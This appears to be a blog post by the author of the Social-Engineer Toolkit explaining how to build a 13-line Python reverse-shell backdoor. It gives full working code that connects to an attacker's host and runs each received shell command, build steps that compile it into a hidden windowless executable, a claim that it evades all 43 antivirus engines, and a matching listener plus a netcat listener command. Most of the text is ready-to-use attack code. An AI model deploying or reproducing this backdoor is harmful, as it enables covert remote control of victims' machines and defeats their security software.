Creating a 13 line backdoor worry free of A/V

When writing the SET interactive shell for the Social-Engineer Toolkit, I had to ponder what the best route in creating a flexible reverse shell. This backdoor had to be a familiar programming language (to me) and be modular for me to add new things onto it. Python being my strongest language posed some significant challenges as it was not a compiled language. Fortunately there is a way to compile python into a binary by wrapping the interpreter and necessary modules into an executable. As you can imagine this can be somewhat large.
Writing a backdoor in C/C++ can be extremely small however when byte compiled in Python is around 1.4 megs packed. In SET I decided to take the route of leveraging Python and byte compiling for the SET interactive shell however I did it in a multi-staged approach where the initial downloader is written in native C which then downloads and executes the python-based compiled backdoor in the background. This allowed quick execution and redirection without the victim (if on a slow connection) downloading a large backdoor. What was also interesting is that since it integrates the python-interpreter in place. Just as a small example of how to create a very small backdoor via python, compile it and evade all 43 anti-virus vendors in 13 lines. I’m sure this could be shinnied down but I left some expanded definitions to make it clear to the reader.. This was just a small PoC for fun. For the listener you can just run nc -lvp 443 as the listener. Cool thing with this is it is platform independent so you can compile it for OSX, *nix, or Windows.

[code]#!/usr/bin/python
# imports here
import socket,subprocess
HOST = '172.16.32.137' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('connect established')
# start loop
while 1:
      # recieve shell command
      data = s.recv(1024)
      # convert to string in case of it being an integer
      # if its quit, then break out and close socket
      if data == "quit": break
      # do shell command
      proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
      # read output
      stdout_value = proc.stdout.read() + proc.stderr.read()
      # send output to attacker
      s.send(stdout_value)
# close socket
s.close()
[/code]

Be sure to change the IP-Address and PORT above. In order to compile this, download pyinstaller and on windows for example or nix, create a file called compile.bat and save the above code as shell.py and put the following in it:

[code]PATH=C:\Python27 # Put your path to Python if it isn't there, otherwise safely delete that
python Configure.py
python Makespec.py --onefile --noconsole shell.py
python Build.py shell\shell.spec
[/code]

This will create a compiled based executable under shell/dist. Simply run shell.exe and have netcat listening up. Surprisingly upload it to virustotal.com and you get 0/43 detected. Obviously this is a custom reverse shell, so A/V really shouldn’t be triggering on this.
 

You can create your own custom listener as well:
[code]#!/usr/bin/python
# import python modules
from socket import *
HOST = '' # Symbolic name meaning the local host
PORT = 443 # Arbitrary non-privileged port
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print "Listening on 0.0.0.0:%s" % str(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connection established
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
# start loop
while 1:
      # enter shell command
      command = raw_input("Enter shell command or quit: ")
      # send shell command
      conn.send(command)
      # if we specify quit then break out of loop and close socket
      if command == "quit": break
      # receive output from linux command
      data = conn.recv(1024)
      # print the output of the linux command
      print data
# close socket
conn.close()
[/code]


Category Article

What's on Your Mind...

Thank f' u C0mment